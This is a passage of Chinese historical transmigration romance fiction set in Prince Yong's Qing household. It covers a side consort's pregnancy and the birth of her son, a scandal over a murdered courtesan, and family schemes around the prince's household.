那边十爷也有些招架不住了,本来九爷说要喊他过来吃饭,他想着自己也没啥事就索性来了,谁知这二两猫尿才下肚,他九哥就不行了,开始大吐苦水,说四哥,说八哥,现下连废太子都说上了。
听得他恨不得把老九的嘴给堵上。
看着九福晋带着人过来,十爷连忙将九哥拱手一推。
九福晋看着喝得满脸红晕的九爷,尴尬一笑:“辛苦十弟了。”
十爷说了两句客气话,看九爷还想开口,就赶紧跑了。
他知道老九与八哥关系好,如今老八下去了,心里自然不是滋味,好在老九还知道轻重,知道和他耍酒疯,却没继续和老八混在一起。
十爷仰头望天,他上辈子定了欠了老九的。
宫里德妃也知道了四爷府上的好消息。
福嬷嬷忙对德妃贺喜:“恭喜娘娘,想来不久娘娘就要再做祖母了。”
德妃笑道:“老四府上子嗣不丰,多生几个孩子也是好的。”她叹道:“这年氏是个有功的。”
福嬷嬷道:“可不是嘛,那年侧福晋看着柔弱,没想到竟能接连生子,还都把阿哥格格生得康健极了。”
哪个孩子没有个三灾两病,可这年侧福晋的孩子就不一样,连太医院的纪档都少有,可见身体好着呢。
德妃:“是呢,本宫见了四格格就知道了,那六阿哥必定也是个好孩子。”
福嬷嬷揣摩着德妃的心思道:“娘娘可要赏些东西下去。”
德妃摆了摆手道:“不急这一时,等生下再说吧。”
第55章 第55章红颜薄命
今日是五阿哥休息的日子,耿氏一早让碧珠去膳房点上几道弘昼爱吃的菜和点心,雍亲王府里的孩子少得可怜,四爷对几个阿哥都颇为看重。
是以若是按着分例去点菜,膳房那等闲不会为难,可作为额娘难免心疼儿子,宁愿多加银子也想要上几道好菜。
弘昼正是长身体的时候,在前院被嬷嬷管着,怕是吃肉也不能尽兴。
看五阿哥吃得正香,耿氏笑着为他盛了一碗汤:“别急,慢慢吃。”
五阿哥应了,只是速度依然没有慢下来,他道:“额娘,我同四妹妹约好了一会去见年额娘。”
平日里弘昼与四格格的亲近耿氏都看在眼里,她也乐见其成,虽说四格格是个女孩,可在四爷心里,四格格的地位却不比几个阿哥差,甚至还会远超几个阿哥。
只是她有些不解:“为何要去看望侧福晋。”
平日里弘昼和四格格也会约到花园里玩,轻易不会去东院的,这也是她授意的,毕竟侧福晋那四爷经常过去。
她要的是侧福晋对五阿哥细水长流的庇护,故而不想将这份情份消耗得太快。
五阿哥道:“四妹妹同我说,年额娘怀孕了,我想去给年额娘道喜。”
他看向额娘:“额娘,我想把阿玛送我的玉佩送给年额娘。”
耿氏有些愣,侧福晋竟然有孕了,她想了想道:“那是你最喜欢的玉佩,你也舍得。”
五阿哥点头:“舍得。”
他知道四哥的额娘和嫡额娘走得近,而额娘则是与年额娘更近一些,只是和嫡额娘不同,年额娘从来不会对他要求什么。
也不会用他来谋取阿玛的关注,反而年额娘对他多有照拂,每次四妹妹有的点心,玩具,他都会有一份,就是最得阿玛喜爱的六弟,对他也极为客气亲切。
他虽然不聪明,但也不傻,如今四格格说年额娘又要有弟弟了,他也想为年额娘尽一份心。
耿氏然后叹了一口气,“你想去便去吧,侧福晋定会高兴的。”
她的弘昼,是个十足的好孩子。
当初她想靠上侧福晋,不过是为了让五阿哥在后院里多一份照拂,如今她的五阿哥比谁都不差,她也该知足了。
四爷府上的侧福晋有孕的消息传了出去。
不管是想攀上四爷的,还是想着礼多人不怪的,可算是逮着机会送了礼过来。
年芷瑶正坐在屋子看着送礼单子。
说是看,也不过是听着白芨念着东西的名字,若是有兴趣的便让人呈上来看一看,不感兴趣便让人直接收去库房了。
之前听说前朝宫里有胆大的太监会偷皇帝的东西运到宫外去卖,她之前还不相信,如今却是不得不信了,没办法,好东西实在是太多了,光是用都用不完,更别提记住了。
若不是有单子在,她都不知道她的库房里都有多少东西。
真是奢靡啊,她忍不住感慨。
“这个葫芦瓶是什么。”她听见白芨念了个一长串的名字,只记住了葫芦瓶,便问了出声。
白芨让人将葫芦拿了过来,“是掐丝珐琅镶宝石葫芦万代纹葫芦瓶。”
年芷瑶看了一眼,还挺好看的,就是让她想起了葫芦娃。
不过拿都拿来,那就摆着吧。
只是为了与瓶子相配,多宝架上面的东西也得跟着换,正好也快到夏天了,白芨便带着人将屋子里重新布置了一遍,将靠枕屏风都换成了浅色的,这样等天热的时候看着也舒爽些。
不停地开库房拿东西,一整个下午便过去了,也算是个打发时间的好办法。
前院,四爷面色阴沉地站在书桌前。
苏培盛瞧上一眼,就不敢再看,主子爷从晨起看到信件之后脸色就变得难看起来,也不知是为了何事生气。
打定主意一会出门让在前院伺候的皮子都紧着些,若是出了什么事,他苏爷爷可救不了他们。
门外,一个小太监走了过来。
苏培盛对他做了个抹脖子的表情,不要命了这个时候过来。
四爷冷声道:“什么事。”
小太监见了主子爷的脸色就觉不妙,只是主子问了,他也只能硬着头皮进门禀报,“主子,福晋派人传话说请您去正院一趟。”
四爷皱了皱眉,“可说了何事。”
小太监:“并未。”
“给她说爷没空。”四爷想了想道:“让张嬷嬷过来见爷。”
“是。”
小太监抹着汗退下了,他摸了摸刚才正院的人给的赏银,这钱虽多,可却是真难拿啊。
因着两位主子都有意瞒着,底下人并不知道主子爷让张嬷嬷去正院是为了什么,还以为福晋是真的病了所以才精力不济,不过就算是真病,四爷一次不去正院看望也已经足够说明问题了。
小太监摇了摇头,看来日后正院的传话他还是躲远一些才好,免不得不知道什么时候就惹了主子的怒。
张嬷嬷知道四爷唤她,理了理衣服便去了前院。
福嬷嬷看着自己奶大的姑娘,眼里是掩不住的心疼,她家福晋年少时便得万岁赐婚,嫁与四阿哥,两人少年夫妻,自是也有些情分在。
可至亲至疏夫妻,夫妻之间的情分越是难得,才越是要小心维护才是,可福晋与四爷的情分早在不知什么时候就消磨殆尽了,许是在弘晖阿哥没了的时候,又或是再早一些。
她开口道:“福晋,您又何苦这般。”
福晋现下已是自顾不暇,又何必为了乌拉那拉家的事情奔走。
福晋语气肯定:“四爷会帮我的。”
如今年氏又有了身
孕,若是四爷放任乌拉那拉家的事不管,世人难免会说四爷将心思都放在侧福晋身上,这是四爷一直想要避免的。
即便不是为了她,四爷也会帮她,帮乌拉那拉家的。
福嬷嬷闻言更是心疼,她何尝不知福晋的意思,可情分只减不增,长此以往,四爷对福晋只会越发没了耐性。
老爷都去了这么多年,乌拉那拉家早就没落了,如今也只有一个姓氏值钱,福晋兄长的儿子出事,现下却要让四爷出面摆平,若是老爷夫人还在,又怎会让姑娘受这种委屈。
四爷看向张嬷嬷:“福晋那可有什么事。”
张嬷嬷低头回话:“具体的奴婢并不知,可想来是因着乌拉那拉家的事。”
四爷只是让她去看着福晋,并未将福晋禁足,是以福晋与外界都是正常走动的,方才福晋娘家来过之后,福晋便让人传话求见四爷。
四爷:“乌拉那拉家。”
苏培盛将听到的消息说出:“是福晋兄长星禅的儿子与郭洛罗氏的小儿子打了起来。”
这事发生后两家并未闹出来,他也就没收到消息,刚才着人具体打探了一下,才知道这两人前些日子为着一个青楼女子打起来。
四爷听了难免皱眉:“可是宜妃的母家。”
苏培盛点头:“正是本家。”
本来两家都已经谈好,大家都是拐着弯的姻亲,若真是闹出来也不好看,他们背后可都带着皇阿哥呢,谁也不想为着此事挨了训斥。
若是无事发生,这事也就过去了,可那女子再接客时,却被发现人死在了屋子里。
那入幕之宾不是别人,而是佟家的小子,如今闹出了人命,又有佟家的参与,想来福晋母家是看事情要瞒不住了,这才来求了福晋。
四爷冷声道:“真是丢人的东西。”
苏培盛倒是咂了咂舌,也不知是什么样的女子会让这些眼高于顶的公子少爷争相夺取,只可惜红颜薄命啊。
四爷转念一想便知道了福晋的心思,只是如今瑶儿再次有孕,他虽知道,却不得不管。
四爷眼里晦暗不明:“告诉福晋,这事爷会管着,没有下次了。”
张嬷嬷:“是。”
四爷:“好好看着福晋。”
张嬷嬷言意简赅:“主子放心。”
四爷点头:“辛苦嬷嬷了。”
对于自己的奶嬷嬷,他还是信任的,要不是福晋事多,他也不会扰了嬷嬷的清净,如今也只能再辛苦嬷嬷几年了。
张嬷嬷:“主子严重了,都是奴才的分内之事。”
听着四爷派人传话来说今日的午膳不过来用。
年芷瑶便在东院试起了新鲜东西,她让小厨房做了个芝士牛奶锅过来,记得她在现代的时候还刷到过蒙古姑娘拍的视频,说是当地特色,便一直想要试试。
谁知她还没找到机会尝试,就直接来了大清。
如今想了起来,身边又有个小厨房,她自然不会错过,小厨房得了主子的吩咐,虽说听起来奇怪,可满人也偏爱奶制品,做起来也不难,不一会儿,锅子就被端了上来。
只是她满怀期待地将涮好的羊肉送进口里,下一秒便被这浓厚的奶味和肉味刺激得有些反胃。
年芷瑶低头干呕。
松嬷嬷赶紧让人去请了李大夫。
白芨忙给她倒了一杯热水,“主子。”
主子这胎一直怀得顺利,连孕吐都不曾有,怎么如今倒吐了起来,她心里闪过千万种想法,生怕又着了旁人的道,便先让小丫头把锅放进了隔间,打定主意一会先给大夫看看。
一阵鸡飞狗跳下来,年芷瑶也缓过劲来了,一抬头,四爷和李大夫都过来了。
对着四爷不赞同的神色,她讪讪一笑。
她小声地说了句:“爷。”
她也不知道自己吃这个会恶心啊,一定是怀着这个小家伙的事。
李大夫为她把完脉,又去看了一眼隔间的牛奶锅,捋着胡须道:“侧福晋身体无碍,想来是一时吃不惯才起了反应,并没有什么大事。”
年芷瑶只觉得丢人万分。
四爷:“爷一日不来,你就把自己搞成这样,让爷怎么放得下心。”
他怒气冲冲地看着伺候她的人,一屋子的人没一个有用的,一点都管不住自己主子。
白芨等人忙跪下来请罪。
苏培盛在四爷身后看着,主子爷这些日子的心情本来不好,这些人算是触了霉头了。
年芷瑶看他要发火,忙拽了拽四爷的衣袖:“是我想要吃的,爷别生气了。”
四爷叹了一口气:“何时才能让爷少操点心。”
看四爷软了口气,年芷瑶忙歪在四爷怀里,撒娇道:“爷是不是嫌我烦了。”
四爷:“爷是担心你照顾不好自己。”
年芷瑶耍赖:“我怎么知道这孩子闻不了这味,爷要怪就怪这孩子吧。”
四爷笑道:“哪有你这样的额娘。”
她哼了一声,“我就是这样。”
看着说着说着就抱到一起的两个主子,苏培盛忙让人挥了挥手,让她们起身跟着退了下去。
他还以为这些人免不了要受顿罚,如今一看,她们运气倒是好,跟了个好主子。
第56章 第56章小事
年芷瑶这些日子都是听着福晋娘家和郭洛罗家的八卦下的饭。
先是福晋大哥的儿子古鲁把郭洛罗家的儿子给打了,而后又听说两人打架是因为个美人。
这也就罢了,后来又听说美人死了。
四爷和九爷都想封口,可谁知那佟家的小子却不干,硬是给嚷嚷了出来,说那女子本是个卖艺不卖身的,可那老鸨却不想错过这宗大生意,逼着女子接客。
那女子是被两个人逼死的。
这下闲得没事干的御史可找着活了,一个奏折就递了上去,直接参了乌拉那拉家和郭洛罗家教子无方。
自从太后去后,万岁的身子就不大好了,按理来说,这奏折直接递过去万岁都不一定能瞧得见,可事情偏偏就这么的寸,那日万岁正好就看了这封折子,看着上面一个是老四的外家,一个是宜妃的母家,看得更是仔细。
这下可好了,既然上达天听,那就彻底瞒不住了,万岁下旨彻查,几家都一起丢了人。
几个年轻人都被禁了足,还都被自家阿玛打了一顿。
外头的传言闹得厉害,一会儿说是乌拉那拉家的人干的,说那女子更喜欢郭洛罗家的,是古鲁求而不得将人给害了。
再一个说是郭洛罗家的,佟家干的,说什么的都有。
明明夏天还没到,京中却热闹起来了,本来这几年形势就颇为严峻,不是那个被废了,就是那个被圈了,导致一群人盯着年迈龙王底下的皇位,却又怕掉脑袋,什么都不敢言语。
好不容易有个无伤大雅的桃色新闻,倒是瞬间都传遍了,没几天,这几户人家便在京里出了名。
万岁说要查,没一会儿工夫就将事情查了个底朝天,那个青楼女子的确是被害的,可跟着这三家都没有关系,犯人是这女子的青梅竹马,两人约好等女子赎身后成亲,可看着女子身边的男人一个比一个来头大,他心里越发嫉恨起来,最后杀了人。
那人如今已经下了大狱,想来日后也不会好过。
年芷瑶正在屋子里吃着新送进来的西瓜,闻言叹了口气,“只可惜那个女子。”
说到底,是男人嫉妒心作祟,明明什么都还没有发生,却因为自卑杀了人。
白芨:“可不是,这世道,女子总是更难活一些。”
若不是牵连了好几家的爷,一个青楼女子被害,又有多少人在意呢,说不定为了少些惹事,那老鸨连报官都不会。
男人们拼尽全力,总有一番活路,可女子既不能科考又不能从军,若是长在肥沃的土地里还好,若是落在干涸的沙漠,只能是任人摆布。
四格格风风火火地跑了进来:“额娘。”
“怎么这么着急。”年芷瑶为她擦了擦额头的汗:“别摔着了。”
四格格笑了起来:“额娘,我听说舅舅送了东西过来,可有我的信。”
对于自己的这位舅舅,四格格一直是只闻其声不见其人,听说舅舅颇有才干,她还没出生的时候,舅舅就被放了外任,还被破格提拔为四川巡抚,现在更是因为军功成了四川总督。
只是虽然她一直没见过舅舅,可舅舅却没少给她送东西,小到玩具字帖,大到珍宝首饰,都有舅舅送的一份,前些日子,舅舅还给她送了一个宝石璎珞,她很喜欢。
故而四格格对这位舅舅一直颇为亲切。
年芷瑶笑了笑:“自然少不了你的。”
不光有信,她二哥还送了蜀锦过来,这东西一直是贡品,还是个稀缺货,连宫中的娘娘都少见,也不知二哥从哪找来了这么多。
四格格这才看见摆在屋子里的布料,不免叹道:“额娘,好漂亮啊。”
这个年纪的四格格虽然愈发活泼,但也有了爱美之心,看着让人移不开眼的美丽不了,不免喜欢了起来。
白芨笑着往四格格身上比划了一下:“这一匹料子正好够主子和格格做上一身衣裳。”
四格格笑道:“那我等着和额娘穿一样的。”
年芷瑶:“好。”
四格格:“我也要给舅舅回信。”
年芷瑶笑着应下:“好,不着急。”
翊坤宫
宜妃看着端坐在底下的两个儿子,不免瞪了他们一眼,“本宫要你们有什么用,如今这郭洛罗家都成京城里的笑话了。”
五爷起身劝道:“额娘莫气,是儿子办事不力。”
九爷摸了摸衣袖:“是啊,额娘,儿子看那个御史也不过是个沽名钓誉之辈,过些日子流言也就消了。”
他看这人分明是故意的,好不容易发现一件与皇阿哥有关,又无伤大雅的事,可不把他高兴坏了。
参上一本还能彰显自己不畏强权,不然这天底下那么多贪官他不参,参个这个破事做什么。
九爷不在乎地撇了撇嘴,郭洛罗家的那个喀吞,他能不知道是什么货色吗,因着是家里的小儿子,备受宠爱,狂得快没边了,恨不得到处宣扬自己家里出了个娘娘。
如今得了教训也算是他自找的。
九爷自己还没狂成那样呢,没办法,他虽然是皇阿哥,可在宫里着实不显,皇上的儿子太多了,论看重往上比不过几个哥哥,论偏爱又比不上几个小的,一直是个中不溜的,不然也不会和八爷玩在一起。
五爷其实也不喜欢额娘母家的几个,额娘对郭洛罗家有感情,他却没有,他自小养在皇太后身边,只是他脾气好,轻易不会与额娘唱反调。
宜妃看着老九那浑不吝的模样,更是气不打一处来,“那也是你的兄弟。”
九爷撇撇嘴:“额娘,不是我说,我的好五哥可在这呢,可没闹出什么争夺青楼女子的事。”
他一个皇阿哥都没干这事,一个八竿子打不着的表兄弟还当起大爷来了。
宜妃的脸上一阵青一阵白的,指了指他:“你。”这孩子真是生下来讨债的。
五爷皱眉:“老九。”
怕真的气着自己额娘,九爷连忙劝了句额娘:“左右丢人又不是我们一家。”
听见老九的话,宜妃缓了口气,老九说得对,有德妃陪着,她也不算太过丢人。
她与德妃在宫里也是几十年的对手,两人都得万岁宠爱,又接连生下孩子,整个宫里也只有她们两个养住了两个阿哥。
只是老四被送给了孝懿,老五养在了太后身边,她叹了口气,老五是个厚道孩子,从来没怨过她不说,对着老九这个弟弟也十分关爱。
想着想着,她对胤祺关心了起来。
一旁的九爷颇感无语,“额娘,我还在这呢。”
四爷脸色颇为难看,这些日子宫里宫外传言猖獗,连他也不好太过干预。
乌拉那拉家干的好事,让他也跟着丢了人,四爷冷了神色,只是这时机也太过巧合。
怎么佟家刚喊了出来,就有御史上了折子,是巧合吗,若不是,那人是为了什么呢,不过是些上不了台面的小事,伤不了几家的根本。
苏培盛看了主子一眼,不由得缩了缩脖子。
年羹尧看着从京城送来的信,笑了笑,四福晋敢和他的妹妹作对,就该想想能不能承担后果。
若不是因着如今局势不稳,动作不能太大,四福晋还想躲在正院里享清福,做她的美梦去吧。
因着一直让人看着乌拉那拉家,他在京中的人手比任何人都要早地发现了那青楼女子与好几家都纠缠不清,其中还有不少他耳熟能详的名字。
年羹尧当时便知道这是个机会,只是还没想好怎么利用,探子便传来了那女子的死讯。
佟家那小子倒是帮了他大忙,若不是他先嚷了出来,他也没办法做得这么不露痕迹,不然再让四爷查出来,就不好了。
其实这事说严重倒也不至于,既然人不是他们杀的,说白了不过是几个公子少爷的风流韵事罢了,只是闹得沸沸扬扬,一个教子无方是跑不了了。
可即使是这样,也足够几家人坐不住了。
福晋看着面前的嫂子,也有些生气,“嫂子可真会教儿子。”
真是拔出萝卜带出泥,万岁说要查,自然会翻个底朝天,她那个好侄子,在青楼可不止一个相好的,京城大大小小的馆子,只有他进不了的,没有他不进的,连那尼姑庵都去过。
现在人提起乌拉那拉家,就得带上一句玩的真花,这下她可真是出了名了。
日后到宫中请安,几个妯娌该是如何看她,福晋真是得了好大一个没脸,早知这般,还去求什么四爷,直接搬了行李去庄子上住得了,也比如今丢人要好。
乌拉那拉夫人低眉顺眼地坐在一旁,她不是不知道儿子的不着调,可那又有什么办法,就算是她想管,也得管得住才行啊。
二格格看着窗外明亮的月光,叹道:“也不知道额娘如何了。”
“郡主放心,琥珀姑姑是妥贴的人,定会照顾好侧福晋。”
陪嫁丫鬟为她递上一碗安神汤,二格格自从生下小阿哥后,便一直睡得不好,日日都要喝上一碗安神汤才行。
“只是咱们府上的福晋晚上怕是要睡不好了,娘家丢了这么大的人,也不知还有什么脸面管着王府。”
二格格冷冷一笑,“若不是因着她挑唆,额娘怎么会因做了错事被阿玛禁了足,连我生子都不能来看我。”
“如今也不过是丢些人罢了,真是便宜她了。”
只是她的人手不够,要想不留痕迹,就不能做得太多。
二格格将安神汤一饮而尽,侧着脸望着外面,看起来和四爷颇为相像。
外头的丫头过来传话:“郡主,郡马回来了,像是喝得有些多。”
二格格:“让厨房给他熬一碗醒酒汤,扶他去前头睡。”
“是。”
丫鬟还想要劝一劝:“郡主,您和郡马是夫妻,何必要闹得这么僵,那丫头到底已经打发出去了。”
郡马想要纳妾是他不对,可不让郡马进屋,在外头看来,何尝不是郡主容不下人。
二格格摆了摆手,她是阿玛的女儿,即便额娘失了宠,只要雍亲王府一天不倒,纳喇一族就奈何不了她,况且她已经有了小阿哥,又何必非得与那人亲近。
见劝不了主子,那丫鬟也没有再说,格格自小就是
个有主意的,连侧福晋都能劝着,若不是格格出嫁,侧福晋想来也不会做下错事。
等四爷来东院的时候,年芷瑶刚去看完睡着的六阿哥,回头见四爷来了,忙迎了上去,“爷今日怎么来得这般晚。”
四爷也去看了一眼六阿哥,轻声道:“前头有些事给耽搁了。”
年芷瑶想为他脱下衣服。
四爷拦住了她,“你怀着孕,别忙了。”
年芷瑶嗔笑道:“我又不是纸糊的,连件衣服都脱不得了。”
四爷顺着她说:“是,瑶儿能干得很,是爷怕你累着可好。”
年芷瑶笑了笑。
四爷扶着她,“亮工可是派人送了东西过来。”
年芷瑶笑道:“送来了几匹蜀锦,塔娜见了高兴得不得了,小姑娘也到了爱美的年纪了。”
她笑了笑,想到自己小时候也是这般,小孩子长大真是一瞬间的事,她想着女儿长大,又从长大联想到了嫁人。
年芷瑶瞬间变了脸色:“爷,日后我可不可以多留塔娜几年。”
四爷愣了片刻,而后才明白过来,不由失笑:“还没影的事,怎么担心成这样。”
年芷瑶瞪了他一眼:“爷是男人,自然不懂做额娘的心。”
四爷先是拍了拍她:“放心,爷的女儿,爷自然会为她挑一个全天下最好的男儿。”
年芷瑶微微舒了口气,到时候四爷成了皇帝,在全国的青年才俊中为女儿选驸马,总得有个能看的吧。
第57章 第57章产子
年芷瑶怀孕的月份一天天地大了起来,东院的气氛又开始紧张了起来。
连六阿哥都开始每日过来摸一摸她的肚子。
年芷瑶看着他摸得认真,问道:“弘昭在想什么呢。”
六阿哥道:“我在告诉小弟弟要额娘听话,不要让额娘难受。”
年芷瑶被儿子的贴心感动得不行,她摸了摸六阿哥头:“有了哥哥的嘱咐,这孩子一定会听话的。”
六阿哥重重地点头,“那我就放心了。”
她拍了拍两个孩子,“快去上课吧。”
四格格点头:“额娘放心,我会照顾好弟弟的。”
年芷瑶笑了起来:“你照顾好自己就行了。”
她摸了摸自己鼓起的肚子,心里想着这孩子应该是等不到过年了。
四格格也一日日的大了,她听四爷的意思是说,等过了年就不再让四格格去前院了,而是请专门的老师来教她,只午后的骑射课依然不变,可以学到四格格不想学为止。
年芷瑶答应了下来,世道如此,四格格又不能去考科举,再读四书五经也没什么大用,不如学些自己感兴趣的。
心里想着孩子的事,时间便过得飞快,眼看着就要临近午时,她忙嘱咐白芨去要上几道菜,今日四爷说午膳回来用,她的餐桌上必定得荤素搭配才好。
四爷进了院子就来看她,“今日可好。”
年芷瑶笑道:“好着呢,爷别担心。”
她知道四爷在前头忙的厉害,万岁爷的身子一天不如一天,却还依旧坚持看着折子,眼瞅着就是这两年的事了,十四爷回京后,依旧时不时地给他四哥添堵。
她这有一屋子人呢,还能照顾不好她一个孕妇吗。
四爷深深地叹息一声,将瑶儿拥入怀里,摩挲着她的手指,“你在府里好好地将孩子生下来,就是对爷最好的安慰了。”
走到半生,身边还能有个知心人,这对他来说何尝不是一种幸运。
年芷瑶点头,“爷放心吧,我会照顾好自己的。”
只是眼看着就要过年,她依旧没有要生产的动静,李大夫急得都快住在东院了,对着四爷的冷脸,他只能说:“王爷莫急,福晋的产期想来也就在这几日了。”
腊月二十九,四爷摸了摸瑶儿的肚子,“这孩子真是个慢性子。”
明日便是除夕,他虽担心,却不得不进宫,可让瑶儿一个人在府里,他实在也放心不下。
年芷瑶抱住了他:“我会没事的,爷照顾好两个孩子就行。”
今年过年六阿哥和四格格都要跟着进宫,她不能跟着进去,
大年初一,四爷走后没多久,年芷瑶便发动了,
白嬷嬷在院子里指挥,整个东院越发有条不紊,她擦了擦汗,年主子这都是第三次了,定能平安生产的。
苏培盛等在院子外,指了个小太监去宫里传消息,四爷临走之前说过,只要有消息,就尽快报给他。
明明是寒冬腊月,他却燥得满头是汗,四爷将他留了下来,若是年主子有什么不好,他就得提头来见了。
还好侧福晋身子好,没出什么意外,不到一个时辰,他便听见了婴儿的啼哭声。
苏培盛乐了起来,这嗓门这么大,一听就是个健康的孩子。
他忙叫李大夫进去请了脉,他一会还得去给四爷回话呢。
白芨笑道:“恭喜主子,是个阿哥。”
年芷瑶看着依旧是红彤彤的孩子,满眼温柔,这孩子生得顺利,比他的哥哥姐姐都要贴心,让她少受不少苦头,让她怎么能不爱他。
苏培盛紧赶慢赶地进了宫,给侍卫看了雍亲王的牌子,被放了行,他是四爷的贴身太监,宫里的人都算认得他这张脸,一路走过来也算顺利。
只是宫里的宫女太监平日里只能用走的,不能跑跳,等到在前殿找到了他家爷,苏培盛早就急出了一头的汗,他擦了擦额头,这才上去道喜。
“恭喜王爷,侧福晋诞下了个小阿哥,母子平安。”
自从知道瑶儿发动时而产生的担心,此刻终于被喜悦淹没,四爷放下酒杯,笑了出来,“好。”
三爷离四爷坐得最近,闻言便道了声恭喜:“老四,你的运气倒是好。”
这几年老四的侧福晋接连生子的消息他也听说了,本来老四在他们兄弟中子嗣算少的,如今又添了一个阿哥,倒是不显了。
其余的几位阿哥虽离得远了些,但四爷脸上明晃晃的笑容谁能看不见,能让一向冷脸的四哥笑得如此开心,也不知道是什么好事。
九爷:“不过是得了个阿哥,有什么好高兴的,跟谁没有阿哥似的。”
十爷惊讶:“你怎么知道的,你什么时候和四哥的关系这么好了。”
九爷哼了一声,“谁和他关系好,满京城的谁不知道老四的侧福晋有了孕。”
十爷一看他,就知道这人又是想起了皇阿玛说要为老四的阿哥赐名这事了,他不免抽了抽嘴角,老九这个小心眼的,连人家侧福晋的产期都算好了。
因着他们几个太过热闹,连万岁爷也看了过来:“可是有什么好事。”
四爷起身,“回禀皇阿玛,儿子的侧福晋刚为儿子添了一个阿哥。”
人老了,就喜欢多子多福的事,尤其是这孩子还是在大年初一生的,更是让人高兴,康熙抚掌大笑,“好,是件好事,朕记得,之前说过要为你这个阿哥赐名。”
四爷:“是。”
康熙想了想道:“那就叫弘晏吧。”
四爷行礼:“多谢皇阿玛。”
看着台上的父慈子孝,八爷垂下了眸子,不知在想些什么。
等四爷回到东院,先将四格格和六阿哥安顿好,便迫不及待地去了产房。
产房早已被丫头打理好,看见瑶儿正在床上睡得正香,七阿哥也好好躺在她的身边,四爷舒了一口气。
白芨见四爷过来,刚想要行礼问安,就被四爷拦住了。
他轻声道:“你主子可好。”
白芨:“太医说主子只是累了,并无大碍。”
四爷点了点头,“让她好好休息。”
他又看向一旁的白嬷嬷,“好好照顾你家主子。”
白嬷嬷:“是,主子爷放心。”
虽然明天一早便又要进宫,可四爷并不想这么早就走,他坐在瑶儿的床前,摸了摸她的发,虽然现下已经干爽,可他知道生产时的瑶儿一定是满头汗水。
这都是为了给他生下阿哥的缘故。
他的眼里越发柔和,一旁的七阿哥像是感受到了什么一般,哼哼了一声。
四爷带着笑意摸了摸他的小手,轻声道:“弘晏,我是阿玛。”
等年芷瑶从梦中醒来,已
经是第二天早上了。
白芨听见动静,连忙过来,欣喜道:“主子,您醒了。”
“万岁爷昨日便为咱们七阿哥赐了名字,说是叫弘晏。”
年芷瑶笑了笑,看着躺在她身边的七阿哥,“弘晏,这可真是个好名字,只是弘晏怎么这么快就有了名字。”
连弘昭都是快两岁时,才被万岁赐的名字。
白芨:“奴婢听说,是苏公公去宫里报信的时候,被万岁知道了,说咱们阿哥生得好呢。”
既然有缘由的,年芷瑶便没再管,问道:“四格格和六阿哥呢。”
白芨:“两位小主子都跟着四爷进宫了,主子爷说让您只管好好休息,旁的事都不用操心。”
年芷瑶失笑,点了点七阿哥,“都怪这小子,非要大年初一出来做什么。”
不然也不会要隔上几天才能见到自己的哥哥姐姐,四爷身为与皇上的儿子,算是关系最近的宗室,每年为了表示想要第一个和万岁庆贺新年的迫切心情,他们几个皇阿玛都是去的最早,走得最晚的一波。
所以每年一到过年进宫的时间,她都不免困得想死。
也不知道两个孩子会不会累,她倒不是担心她们的身体,有灵泉水辅助,两个孩子的身体素质可以说是极好。
可进宫到底不必在自己家里自在,又规矩守礼不说,还要配合着周围人的表演,众所周知,与人打交道才是最累的。
旁的倒没有什么,德妃到底是他们的亲祖母,即便与四爷母子之情再淡薄,也不会对孩子不好的,她也还算放心。
她道;“记得晚上做些宵夜给他们送过去。”
“主子放心,松嬷嬷都安排好了,不会饿着两位小主子的。”
白芨早就凉好的汤端了上来:“主子快些吃点东西吧,您都睡一天了。”
年芷瑶这才发现自己着实是有些饿了,她笑着道:“白芨越来越贴心了,如今我是一天也离不开你了。”
白芨:“即便主子夸奴婢,奴婢也不会让您洗澡哦。”如今可是冬日,若是着了凉可怎么是好。
年芷瑶撇了撇嘴,要说每次坐月子她最痛恨什么,那不能洗澡这件事绝对是首当其冲。
不过好在如今是冬日,没有上次生小六的时候这么难熬,她亲了亲儿子的脸,只觉得对着孩子怎么爱都爱不够。
一连好几天四爷都要进宫,每次他回来时年芷瑶都睡着了,这日,她特意晚睡了一会,等着他回来。
四爷每日回府后都得先到东院来看上一眼瑶儿和七阿哥,今日也不例外。
苏培盛跟在四爷身后悄悄打了个哈欠,这七阿哥出生后,四爷就越发有精神了,只是他快要熬不住了。
看见屋子亮起的光,四爷才发觉瑶儿并未睡着,而是睁着眼睛看他。
他上前去:“怎么还没睡。”
“我想看看爷。”年芷瑶握住四爷的手,“好几日没见着爷了。”
四爷看着她,心下更是柔软万分,“快睡吧,爷看着你。”
年芷瑶笑笑:“好。”
第58章 第58章同胞兄弟
十四爷回到府中,耳边萦绕的仍然是八爷口中的那句,十四,你真甘心?
他解下披风递给贴身太监,他甘心吗。
从幼时他便知道自己有个比他大上许多的哥哥,可哥哥却不常来永和宫,即便是来,也只是坐坐就走。
他问额娘,额娘说四哥大了,早就搬去了阿哥所,等自己再大些,也能搬过去了。
十四便盼着日后去上书房读书。
可等他进了上书房,四哥已经是娶福晋的年纪了,看着越发严肃的四哥,他想亲近,可又不知所措,只能跟在他身后调皮捣蛋。
四哥也只会对着他摆哥哥的谱,兄弟两个更是亲近不起来。
等他再大些,他才知道四哥不是被额娘养大的,而是被已逝的孝懿皇后抚养,他当时不懂,后来他才明白额娘的无奈。
若是自己争气,额娘就不会那么伤心了。
十四何尝不知道八哥不一定心怀好意,他与四哥到底都是娘娘所出,是天然的盟友,皇阿玛这几年的倾向也越发明显。
十四攥紧拳头。
东院,六阿哥过来看弟弟,摸了摸他的手:“弟弟怎么这么小。”
对六阿哥小时候还有些印象的四格格道:“你小时候也是这么的小。”
她比划了一番,“我记得小七差不多,然后突然就长得这么大了。”
六阿哥无法想象自己和小七差不多大的样子,他觉得自己本来就是这么大的,他求证地看向额娘。
年芷瑶笑着点了点头:“你们都是从这么小的时候一点点长大的。”
六阿哥皱了皱鼻子,“那弟弟什么时候能陪我一起玩。”
年芷瑶:“再等两年弟弟就能和你一起玩了。”
六阿哥点了点头,“那弟弟多吃点会不会长得快点,我可以把点心分给弟弟吃,让弟弟快快长大。”
年芷瑶对他拔苗助长的方式弄得哭笑不得,对六阿哥解释道:“他现在还吃不了点心,只能喝奶哦。”
六阿哥:“是嘛,虽然弟弟好麻烦,但我以后会养好弟弟的。”
他拍了拍胸脯保证道。
年芷瑶乐了:“你弟弟现在还用不着你养,有你阿玛在呢。”
四格格靠在额娘身边,“额娘,你还好吗。”
她如今大了,听嬷嬷说,女子生产很是辛苦,额娘刚生下小七定是累极了,不然额娘也不会现在还躺在床上。
她像个小大人一样嘱咐着白芨要照顾好额娘。
白芨笑着答应:“格格放心,奴婢定会照顾好主子的。”
年芷瑶摸了摸她的头:“快别担心了,额娘好着呢,和弘昭出去玩吧。”
四格格点头:“嗯。”
